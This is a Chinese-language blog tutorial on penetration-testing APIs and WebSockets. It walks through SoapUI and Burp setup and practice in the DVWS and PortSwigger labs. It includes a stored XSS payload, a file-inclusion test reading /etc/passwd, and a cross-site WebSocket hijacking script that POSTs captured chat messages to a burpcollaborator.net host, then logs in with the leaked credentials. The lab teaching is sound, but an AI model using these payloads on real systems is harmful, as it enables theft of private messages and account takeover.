常見API接口滲透測試流程

老李講安全 發佈 2024-04-26T17:34:03.681374+00:00

其中SOAP用來描述傳遞信息的格式, WSDL用來描述如何訪問具體的接口, UDDI用來管理、分發、查詢Web Service 。

大家好,我是老李。前幾天老李給大家分享過一些關於API安全相關的文章,受到了大家的一致好評,很多朋友留言問如何確認自己的API是安全的呢?其實很簡單,只要定期做API接口的滲透測試就可以發現大部分的風險。為什麼說是大部分呢?因為世界上的任何程序都無法保證沒有漏洞。下面大家看一下具體內容:

API接口滲透測試是通過用滲透測試的方法測試系統組件間接口的一種測試。接口滲透測試主要用於檢測外部系統與系統之間以及內部各個子系統之間的交互點。測試的重點是要檢查數據的交換,傳遞和控制管理過程,以及系統間的相互邏輯依賴關係等。

接口測試分為Web Service和API接口測試,WebSocket接口等測試

API接口測試

常規的HTTP/HTTPS協議可以用在線工具實現請求傳輸,如下圖,新建一個接口填寫對應內容即可發送API請求到服務端,服務端返回信息也會在下方進行實時響應。

webservice 接口測試

web service簡介:Web Service是一個平台獨立的、低耦合的、自包含的、基於可編程的Web的應用程式,可使用開放的XML(標準通用標記語言下的一個子集)標準來描述、發布、發現、協調和配置這些應用程式,用於開發分布式的交互操作的應用程式。

一般的,Web Service分為:

SOAP型Web Service:SOAP型Web Service允許使用XML格式與伺服器進行通信;

REST型Web Service:REST型Web Service允許使用JSON格式(也可以使用XML格式)與伺服器進行通信。與HTTP類似,該類型服務支持GET、POST、PUT、DELETE方法。不需要wsdl、UDDI;

Web Service三要素:Web Service三要素包括SOAP(Simple Object Access Protocol)、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration)。其中SOAP用來描述傳遞信息的格式, WSDL用來描述如何訪問具體的接口, UDDI用來管理、分發、查詢Web Service 。

其中WSDL(Web Services Description Language)即網絡服務描述語言,用於描述Web服務的公共接口。這是一個基於XML的關於如何與Web服務通訊和使用的服務描述;也就是描述與目錄中列出的Web服務進行交互時需要綁定的協議和信息格式。通常採用抽象語言描述該服務支持的操作和信息,使用的時候再將實際的網絡協議和信息格式綁定給該服務。WSDL給出了SOAP型Web Service的基本定義,WSDL基於XML語言,描述了與服務交互的基本元素,說明服務端接口、方法、參數和返回值,WSDL是隨服務發布成功,自動生成,無需編寫。少數情況下,WSDL也可以用來描述REST型Web Service。SOAP也是基於XML(標準通用標記語言下的一個子集)和XSD的,XML是SOAP的數據編碼方式。

下列帶有wsdl標誌的URL連接就是SOAP型webservice接口

我們可以使用SoapUl接口工具進行測試。

soapui 提供一個工具通過 soap/http 來檢查,調用,實現 web service 和 web service 的功能 / 負載 / 符合性測試。該工具既可作為一個桌面應用軟體使用,也可利用插件集成到 Eclipse,maven2.X,netbeans 和 intellij 中使用。下載地址: https://www.soapui.org/

我們在SoapUl工具上新建一個接口測試,然後填入對應的wsdl的接口地址即可自動解析

如下圖

我們在新建接口後,SoapUl工具會自動解析接口名和接口請求信息

這時候我們會對接口進行測試,需要雙擊接口請求信息:Request 1,這時候我們會看到該接口的請求報文信息,該報文信息中有數據請求的格式和正文信息。

由於實例報文信息過多,我們拖動報文後,看到在請求正文中有很多「?」號符號,該符號為我們需要測試的參數,填入對應的測試參數即可

下列為填入對應參數測試,該請求包返回了101等信息。

聯動burp

通過對SoapUl工具設置代理,實現在請求過後發送到burp進行修改

我們找到設置-代理設置-設置為burp監聽埠即可

啟動代理後該代理圖標為綠色

在SoapUl請求後報文會發送到burp進行請求,這時候就方便我們進行修改了。

在burp上可以看到走的是 HTTP/ HTTPS協議,接下來就可以通過burp進行測試和平常測試區別不大。

Web Socket接口測試

WebSocket是一種在單個TCP連接上進行全雙工通信的協議。WebSocket通信協議於2011年被IETF定為標準RFC 6455,並由RFC7936補充規範。WebSocket API也被W3C定為標準。WebSocket使得客戶端和伺服器之間的數據交換變得更加簡單,允許服務端主動向客戶端推送數據。在WebSocket API中,瀏覽器和伺服器只需要完成一次握手,兩者之間就直接可以創建持久性的連接,並進行雙向數據傳輸。

DVWS靶場 DVWS是基於Web Socket構建的WEB程序,在該程序中構建了多了個安全漏洞的場景,例如爆破、命令執行、文件包含的漏洞場景,並且可以使用 Burp Suite 等工具進行對Web Socket測試。

靶場地址: https://owasp.org/www-project-damn-vulnerable-web-sockets/

搭建DVWS靶場

拉取鏡像docker pull tssoffsec/dvws
docker命令運行容器:docker run -d -p 80:80 -p 8080:8080 tssoffsec/dvws

在攻擊主機中添加一條hosts記錄,該記錄指向dvws.local
windows:C:\windows\System32\driverstc\hosts
Linux:/etc/hosts

主機文件的示例條目:
192.168.100.199 dvws.local

上面的IP為docker容器運行地址,由於我是在本機運行該docker容器,所以我把我的本機地址指向dvws.local就能正常訪問了。

Web Socket請求會在瀏覽器中的控制台中顯示

在burp中的代理模塊中的WebSockethistroy中,我們可以看到對應的Websocket請求,並且我們可以直接把該請求發送到重發器中進行手動測試

在重發器中可以關閉該連接或者是手動測試參數後發送給伺服器對應的數據,在右側也可以直接看到對應響應的數據信息。

WebSockets廣泛用於現代Web應用程式。它們通過HTTP啟動,並提供雙向異步通信的長期連接。

WebSockets用於各種目的,包括執行用戶操作和傳輸敏感信息。幾乎任何在常規HTTP中出現的Web安全漏洞也可能與WebSockets通信有關。

對於SQL注入、 XSS、命令執行等,其他的測試都是大同小異,目前在很多使用WebSocket協議傳輸的應用中可能會明文傳輸敏感信息啥的,在滲透測試遇到了可以多看看。

文件包含漏洞測試

在websocket請求中發送文件包含常見命令,通過該命令獲取/etc/passwd信息。

經分析參數為包含文件,通過修改websocket的請求後實現對/etc/passwd文件的包含,在瀏覽器和Burp重發器中都可以看到。

命令執行:

在websocket請求中發送命令執行語句實現命令執行


SQL注入

在websocket請求中發送SQL注入語句實現登陸繞過


下列案例使用burp的websockets實驗,通過該實驗室練習針對websockets協議的XSS漏洞和CSRF 漏洞復現 地址:https://portswigger.net/web-security/websockets

存儲型xss

該案例為在線聊天室,使用websockets協議進行數據實時傳輸。

通過burp抓包發現在數據包中會過濾,但是直接請求後就存儲聊天記錄中了,所以導致存在存儲型xss

payload:
<img src=x onerror=alert`2`>

選擇重發器模塊上的websockets協議,然後向伺服器發送惡意請求,最後看到請求響應中原文輸出

效果為:在聊天是加載歷史對話時,會加載 XSS測試payload,導致彈窗

CSRF 漏洞

在websockets協議中同樣檢測同源策略,如果沒有檢驗同源策略或者同源策略不存在的話就存在緩存劫持漏洞,可以用下列代碼對websockets協議發起請求,在請求標頭中看到Origin參數是否指定的來源限制。

<iframe src="data:text/html,<script>const socket =new WebSocket('wss://0a97006a03e27d3ac02a3cd70055007a.web-security-academy.net/chat');</script>"></iframe>

演示站點為在線聊天室,通過WebSocket協議進行傳輸信息,我們的目的是劫持用戶的聊天信息

通過抓包發現是WebSocket協議進行傳輸信息

由於該站點針對WebSocket協議未使用同源策略,導致攻擊者可通過WebSocket點擊劫持漏洞,獲取聊天信息 漏洞驗證,通過對chat路由進行請求,讓他返回聊天內容

下面的代碼為創建WebSocket消息,傳送並返回給某個地址,也可以用控制台列印。

<script>
var ws = new WebSocket('wss://0a97006a03e27d3ac02a3cd70055007a.web-security-academy.net/chat');//新建一個websocket連結
ws.onopen = function() {
ws.send("READY"); //使用open函數發送READY信息給伺服器
};
ws.onmessage = function(event) {
fetch('https://12171x3y4cl1c0hirtlne1qd64cu0j.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body: event.data});
//獲取伺服器返回信息到遠處伺服器

console.log("Called back by the worker!\n");
//控制台列印
console.log('Received message', event.data);
//控制台列印
};
</script>

受害者訪問我們偽造的URL地址就可以獲取實時聊天室中就存在以前的聊天密碼信息

攻擊者通過WebSocket點擊劫持就可以獲取受害者的信息了。


通過使用burp自帶的DNS伺服器,我們也可以接受到上述信息伺服器返回的信息。


下圖為通過WebSocket劫持獲取的歷史聊天記錄,該記錄中存在帳號密碼信息。

最後使用聊天記錄中的帳號密碼,登陸該帳戶

下圖為登陸成功截圖,然後完成該實驗

不管是API接口測試還是WebSocket測試,不同的協議只是對於漏洞利用的方式不同而已,最終落到實處還是需要了解漏洞的原理。


參考文檔:

https://n3t-hunt3r.gitbook.io/pentest-book/web-applicationpentesting/cross-site-websocket-hijacking-cswsh

https://infosecwriteups.com/websocket-hijacking-to-steal-session-id-of-victim-users-bca84243830

https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc

來源:博智非攻研究院 ,作者趙光紅

關鍵字: